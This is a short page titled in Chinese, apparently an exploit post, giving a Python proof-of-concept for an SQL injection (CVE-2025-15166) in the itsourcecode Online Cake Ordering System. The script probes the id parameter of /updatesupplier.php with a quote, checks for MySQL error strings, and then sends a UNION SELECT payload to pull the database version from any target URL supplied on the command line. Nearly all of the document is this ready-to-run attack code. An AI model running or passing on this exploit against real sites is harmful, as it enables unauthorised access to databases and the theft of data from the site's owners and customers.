CVE-2025-15166 itsourcecode在线蛋糕订购系统SQL注入漏洞

#!/usr/bin/env python3 """ CVE-2025-15166 PoC - SQL Injection in itsourcecode Online Cake Ordering System Target: /updatesupplier.php?action=edit Parameter: ID """ import requests import sys def test_sql_injection(url, target_id="1"): """ Test for SQL injection vulnerability """ # Basic test - single quote to trigger SQL error payload = "'" test_url = f"{url}/updatesupplier.php?action=edit&id={target_id}{payload}" print(f"[*] Testing target: {test_url}") try: response = requests.get(test_url, timeout=10) # Check for SQL error indicators sql_errors = [ "SQL syntax", "MySQL", "Warning", "mysql_fetch", "mysql_num_rows", "syntax error" ] for error in sql_errors: if error.lower() in response.text.lower(): print(f"[+] SQL Injection vulnerability confirmed!") print(f"[+] Error indicator found: {error}") return True print("[-] Basic test did not confirm vulnerability") return False except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return False def extract_data(url, target_id="1"): """ Extract database information using UNION-based injection """ # UNION-based injection to get database version and current user payload = "' UNION SELECT 1,2,3,4,5,6,7,8,9,10,@@version,12,13,14,15,16---" exploit_url = f"{url}/updatesupplier.php?action=edit&id={payload}" print(f"[*] Extracting database info...") try: response = requests.get(exploit_url, timeout=10) if response.status_code == 200: print(f"[+] Database info extraction request sent") print(f"[+] Check response for extracted data") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-15166.py <target_url>") print("Example: python cve-2025-15166.py http://target.com/cake-ordering") sys.exit(1) target_url = sys.argv[1].rstrip('/') print("="*60) print("CVE-2025-15166 SQL Injection PoC") print("="*60) if test_sql_injection(target_url): print("\n[*] Proceeding with data extraction...") extract_data(target_url)